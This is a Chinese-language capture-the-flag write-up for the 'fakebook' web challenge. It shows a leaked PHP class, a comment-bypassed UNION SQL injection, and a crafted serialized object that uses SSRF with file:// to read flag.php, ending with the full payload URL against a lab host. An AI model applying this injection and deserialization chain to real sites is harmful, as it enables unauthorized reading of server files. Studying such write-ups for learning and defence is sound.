fakebook

这道题先后用了

1. robots.txt
2. sqli
3. 反序列化

打开首先是想注册
注册完后的页面有个content
F12看是iframe
应该是blog的地址
所以要让blog变成flag.php
发现再注册不了了
这事就有了两个想法

• 看看有没有后台或者其他没找到的页面
• 这?no=1是不是get型sql注入（当时觉得出不来啥）

先扫了一遍
没有后台倒是有个robots.txt
打开
/user.php.bak
下载打开
//user.php.bak

<?php
class UserInfo{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog){
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url){
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents (){
        return $this->get($this->blog);
    }

    public function isValidBlog (){
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

有点像ssrf
再回去看
sql注一下
主要是看blog
报错注的

union和select之间要加/**/隔开

发现在data列有序列化

O:8:"UserInfo":3:{s:4:"name";s:3:"qqq";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}

• $name
• $age
• $blog = “file:///var/www/html/flag.php”;

序列化

O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

于是payload

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

http://919e770d-3189-44ca-8634-ceae1d4cbfc0.node4.buuoj.cn:81/view.php?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:4:%22test%22;s:3:%22age%22;i:123;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27